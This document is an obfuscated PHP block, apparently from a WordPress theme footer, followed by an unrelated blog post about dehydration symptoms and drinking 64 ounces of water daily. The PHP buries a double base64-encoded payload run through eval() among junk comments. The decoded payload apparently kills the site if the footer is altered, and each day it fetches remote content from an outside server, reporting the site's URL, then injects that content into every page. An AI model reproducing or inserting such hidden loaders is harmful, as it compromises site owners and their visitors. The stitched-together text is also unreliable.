/* asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r$f1 = eval($1);0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$oac='SkdOdmJuUmxiblJ6SUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb2NHRjBhR2x1Wm04b1gxOUdTVXhGWDE4c1VFRlVTRWxPUms5ZlJFbFNUa0ZOUlNrdUlpOW1iMjkwWlhJdWNHaHdJaWs3RFFwcFppaHpkSEp3YjNNb0lpQWlMaVJqYjI1MFpXNTBjeXdpZDNCZlptOXZkR1Z5S0NrN0lpa2dQRDBnTUNrZ2V3MEtaR2xsS0NrN0lIMGdEUXBtZFc1amRHbHZiaUJuWlhSZlkzSmxaR2wwY3lncERRb2dJQ0FnZXcwS0lDQWdJQ0FnSUNBa2RYQmtZWFJsWkNBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOWtZWFJsSWlrN0RRb2dJQ0FnSUNBZ0lHbG1JQ2dvZEdsdFpTZ3BJQzBnSkhWd1pHRjBaV1FwSUQ0Z0tESTBJQ29nTXpZd01Da3BJSHNOQ2cwS0lDQWdJQ0FnSUNBZ0lDQWdKR055WldScGRGOTBaWGgwSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5M2QzY3VkMjl5WkhCeVpYTnpkR1Z0Y0d4aGRHVnpMbU52YlM5bWIzSnRYM2R2Y21zdmIzVjBjSFYwTG5SNGREOXlaV1k5SWk1blpYUmZZbXh2WjJsdVptOG9KM1Z5YkNjcEtUc05DaUFnSUNBZ0lDQWdJQ0FnSUhWd1pHRjBaVjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwSWl3a1kzSmxaR2wwWDNSbGVIUXBPdzBLQ1FrSmRYQmtZWFJsWDI5d2RHbHZiaWdpWTNKbFpHbDBYMlJoZEdVaUxIUnBiV1VvS1NrN0RRb2dJQ0FnSUNBZ0lIMGdaV3h6WlNCN0lBMEtJQ0FnSUNBZ0lDQWdJQ0FnSkdOeVpXUnBkRjkwWlhoMElEMGdaMlYwWDI5d2RHbHZiaWdpWTNKbFpHbDBYM1JsZUhRaUtUc05DaUFnSUNBZ0lDQWdmUTBLSUNBZ0lDQWdJQ0J5WlhSMWNtNGdKR055WldScGRGOTBaWGgwT3cwS0lDQWdJSDBOQ2cwS1lXUmtYMkZqZEdsdmJpZ25kM0JmWm05dmRHVnlKeXduY0hKcGJuUmZabTl2ZEdWeUp5azdEUW9OQ21aMWJtTjBhVzl1SUhCeWFXNTBYMlp2YjNSbGNpZ3BEUW9nSUNBZ2V3MEtKR055WldScGRDQTlJR2RsZEY5amNtVmthWFJ6S0NrN0RRcGxZMmh2SUNSamNtVmthWFE3RFFwOQ==';/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340 hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$f1=base64_decode(base64_decode($oac));/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n= sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfas dklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hw*/eval($f1);/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/?>
Some negative effects of not enough water in a person’s diet include developing of excess body fat, loss of muscle tone, gastrointestinal difficulties, issues with kidney function, increased blood pressure, joint discomfort, and cramping of muscles.
Many researchers believe that despite the well-known effects of dehydration, a great many of us go about our lives not taking in a sufficient amount of water to prevent the ill effects of dehydration.
Unsure if you consume enough water? If you find yourself experiencing low urine quantities, darker or more highly colored urine, pungent smelling urine, or not having to urinate all that often during the day you may suffer from some level of dehydration.
Other dehydration symptoms may include becoming fatigued easily, headaches starting out of the blue and apparently for no reason, faster than normal heart rate, an unusually dry mouth, difficulty concentrating on tasks at hand, trouble remembering things, and/or dizziness spells.
Tips for staying hydrated?
Moral of the story?
Some say an ounce of prevention goes a long way… so just IMAGINE how far 64 ounces of water a day can take you!